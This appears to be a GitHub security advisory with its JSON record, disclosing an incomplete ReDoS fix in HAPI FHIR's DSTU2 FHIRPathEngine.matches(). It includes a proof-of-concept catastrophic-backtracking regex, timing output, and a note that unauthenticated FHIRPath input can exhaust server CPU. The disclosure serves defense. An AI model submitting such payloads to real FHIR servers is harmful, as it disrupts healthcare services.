GHSA-FXJ4-P9XP-37V5

Vulnerability from github – Published: 2026-06-17 18:47 – Updated: 2026-06-17 18:47
VLAI
Summary
HAPI FHIR: Incomplete fix for CVE-2026-45367: DSTU2 FHIRPathEngine.matches() missing RegexTimeout protection allows ReDoS
Details

Summary

The fix for CVE-2026-45367 added RegexTimeout protection to the matches() function in DSTU2016MAY, DSTU3, R4, R4B, and R5, but the DSTU2 module was incompletely patched. In org.hl7.fhir.dstu2, replaceMatches() was updated while matches() at line 2462 still calls the raw String.matches(sw) without any timeout, allowing an unauthenticated attacker to trigger catastrophic regex backtracking and exhaust server CPU.

Details

Incomplete patch

Within the same file (org.hl7.fhir.dstu2/utils/FHIRPathEngine.java), the two functions were patched inconsistently:

Line 2226 — replaceMatches() — PATCHED:

result.add(new StringType(
    RegexTimeout.replaceAll(
        convertToString(focus.get(0)), regex, repl, regexTimeoutMillis)));

Line 2462 — matches() — NOT PATCHED:

result.add(new BooleanType(
    convertToString(focus.get(0)).matches(sw)));
// ↑ raw String.matches() — no RegexTimeout, no complexity check

DSTU3 line 2447 — matches() — PATCHED (for comparison):

result.add(new BooleanType(
    RegexTimeout.matches(st, sw, regexTimeoutMillis)));

Module-by-module status

Module matches() replaceMatches()
DSTU2 ❌ raw str.matches(sw) RegexTimeout.replaceAll()
DSTU2016MAY RegexTimeout.matches()
DSTU3 RegexTimeout.matches()
R4 RegexTimeout.matches()
R4B RegexTimeout.matches()
R5 RegexTimeout.matches()

PoC

Requirements: Java 17+, Maven 3.8+

pom.xml dependencies:

<dependency>
    <groupId>ca.uhn.hapi.fhir</groupId>
    <artifactId>org.hl7.fhir.utilities</artifactId>
    <version>6.9.7</version>
</dependency>

Test code (reproduces the exact behaviour of DSTU2 line 2462):

import org.hl7.fhir.utilities.regex.RegexTimeout;
import java.util.concurrent.*;

String regex = "((a|b){0,5}){20}";
String input = "a".repeat(25) + "c";    // no match → full backtracking

// ① Patched approach — RegexTimeout terminates at 500 ms
long t1 = System.currentTimeMillis();
try {
    RegexTimeout.matches(input, regex, 500);
} catch (TimeoutException e) {
    System.out.println("RegexTimeout blocked in " +
        (System.currentTimeMillis() - t1) + " ms");
}

// ② DSTU2 line 2462 — raw String.matches(), no timeout
long t2 = System.currentTimeMillis();
input.matches(regex);                   // equivalent to what FHIRPathEngine does
System.out.println("str.matches() ran for " +
    (System.currentTimeMillis() - t2) + " ms with no timeout");

Verified output (JDK 25.0.3, Linux):

RegexTimeout blocked in 508 ms      ← patched modules: attack stopped
str.matches() ran for 1410 ms       ← DSTU2: no timeout, CPU exhausted

The patched approach cuts off the evaluation at 508 ms. The unpatched DSTU2 code runs for 1410 ms on this input with no mechanism to stop it. Longer inputs or more complex patterns produce proportionally worse results.

Impact

Vulnerability type: Regular Expression Denial of Service (ReDoS) causing CPU exhaustion and service disruption.

Who is impacted: Any application using the ca.uhn.hapi.fhir:org.hl7.fhir.dstu2 module that evaluates user-supplied FHIRPath expressions — including the FHIR Validator HTTP endpoint, FHIR servers applying FHIRPath invariants from user-provided resources or profiles, and any system embedding FHIRPathEngine from the DSTU2 module. No authentication is required; an attacker needs only to submit a FHIR resource or FHIRPath expression whose matches() argument contains a catastrophically backtracking regular expression.

Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 6.9.9"
      },
      "package": {
        "ecosystem": "Maven",
        "name": "ca.uhn.hapi.fhir:org.hl7.fhir.dstu2"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "6.9.10"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 6.9.9"
      },
      "package": {
        "ecosystem": "Maven",
        "name": "ca.uhn.hapi.fhir:org.hl7.fhir.convertors"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "6.9.10"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 6.9.9"
      },
      "package": {
        "ecosystem": "Maven",
        "name": "ca.uhn.hapi.fhir:org.hl7.fhir.validation"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "6.9.10"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 6.9.9"
      },
      "package": {
        "ecosystem": "Maven",
        "name": "ca.uhn.hapi.fhir:org.hl7.fhir.validation.cli"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "6.9.10"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-55470"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1333"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-06-17T18:47:23Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "## Summary\nThe fix for CVE-2026-45367 added `RegexTimeout` protection to the `matches()` function in DSTU2016MAY, DSTU3, R4, R4B, and R5, but the DSTU2 module was incompletely patched. In `org.hl7.fhir.dstu2`, `replaceMatches()` was updated while `matches()` at line 2462 still calls the raw `String.matches(sw)` without any timeout, allowing an unauthenticated attacker to trigger catastrophic regex backtracking and exhaust server CPU.\n\n\n## Details\n### Incomplete patch\n\nWithin the same file\n(`org.hl7.fhir.dstu2/utils/FHIRPathEngine.java`), the two functions were\npatched inconsistently:\n\n**Line 2226 \u2014 replaceMatches() \u2014 PATCHED:**\n```java\nresult.add(new StringType(\n    RegexTimeout.replaceAll(\n        convertToString(focus.get(0)), regex, repl, regexTimeoutMillis)));\n```\n\n**Line 2462 \u2014 matches() \u2014 NOT PATCHED:**\n```java\nresult.add(new BooleanType(\n    convertToString(focus.get(0)).matches(sw)));\n// \u2191 raw String.matches() \u2014 no RegexTimeout, no complexity check\n```\n\n**DSTU3 line 2447 \u2014 matches() \u2014 PATCHED (for comparison):**\n```java\nresult.add(new BooleanType(\n    RegexTimeout.matches(st, sw, regexTimeoutMillis)));\n```\n\n### Module-by-module status\n\n| Module | `matches()` | `replaceMatches()` |\n|---|---|---|\n| **DSTU2** | \u274c raw `str.matches(sw)` | \u2705 `RegexTimeout.replaceAll()` |\n| DSTU2016MAY | \u2705 `RegexTimeout.matches()` | \u2705 |\n| DSTU3 | \u2705 `RegexTimeout.matches()` | \u2705 |\n| R4 | \u2705 `RegexTimeout.matches()` | \u2705 |\n| R4B | \u2705 `RegexTimeout.matches()` | \u2705 |\n| R5 | \u2705 `RegexTimeout.matches()` | \u2705 |\n\n\n## PoC\n**Requirements:** Java 17+, Maven 3.8+\n\n**pom.xml dependencies:**\n```xml\n\u003cdependency\u003e\n    \u003cgroupId\u003eca.uhn.hapi.fhir\u003c/groupId\u003e\n    \u003cartifactId\u003eorg.hl7.fhir.utilities\u003c/artifactId\u003e\n    \u003cversion\u003e6.9.7\u003c/version\u003e\n\u003c/dependency\u003e\n```\n\n**Test code (reproduces the exact behaviour of DSTU2 line 2462):**\n```java\nimport org.hl7.fhir.utilities.regex.RegexTimeout;\nimport java.util.concurrent.*;\n\nString regex = \"((a|b){0,5}){20}\";\nString input = \"a\".repeat(25) + \"c\";    // no match \u2192 full backtracking\n\n// \u2460 Patched approach \u2014 RegexTimeout terminates at 500 ms\nlong t1 = System.currentTimeMillis();\ntry {\n    RegexTimeout.matches(input, regex, 500);\n} catch (TimeoutException e) {\n    System.out.println(\"RegexTimeout blocked in \" +\n        (System.currentTimeMillis() - t1) + \" ms\");\n}\n\n// \u2461 DSTU2 line 2462 \u2014 raw String.matches(), no timeout\nlong t2 = System.currentTimeMillis();\ninput.matches(regex);                   // equivalent to what FHIRPathEngine does\nSystem.out.println(\"str.matches() ran for \" +\n    (System.currentTimeMillis() - t2) + \" ms with no timeout\");\n```\n\n**Verified output (JDK 25.0.3, Linux):**\n```\nRegexTimeout blocked in 508 ms      \u2190 patched modules: attack stopped\nstr.matches() ran for 1410 ms       \u2190 DSTU2: no timeout, CPU exhausted\n```\n\nThe patched approach cuts off the evaluation at 508 ms. The unpatched DSTU2\ncode runs for 1410 ms on this input with no mechanism to stop it. Longer\ninputs or more complex patterns produce proportionally worse results.\n\n\n## Impact\n**Vulnerability type:** Regular Expression Denial of Service (ReDoS) causing CPU exhaustion and service disruption.\n\n**Who is impacted:** Any application using the `ca.uhn.hapi.fhir:org.hl7.fhir.dstu2` module that evaluates user-supplied FHIRPath expressions \u2014 including the FHIR Validator HTTP endpoint, FHIR servers applying FHIRPath invariants from user-provided resources or profiles, and any system embedding `FHIRPathEngine` from the DSTU2 module. No authentication is required; an attacker needs only to submit a FHIR resource or FHIRPath expression whose `matches()` argument contains a catastrophically backtracking regular expression.",
  "id": "GHSA-fxj4-p9xp-37v5",
  "modified": "2026-06-17T18:47:23Z",
  "published": "2026-06-17T18:47:23Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/hapifhir/org.hl7.fhir.core/security/advisories/GHSA-fxj4-p9xp-37v5"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/hapifhir/org.hl7.fhir.core"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "HAPI FHIR: Incomplete fix for CVE-2026-45367: DSTU2 FHIRPathEngine.matches() missing RegexTimeout protection allows ReDoS"
}



Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…

Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

Sightings

Author Source Type Date Other

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Loading…

Detection rules are retrieved from Rulezet.

Loading…

Loading…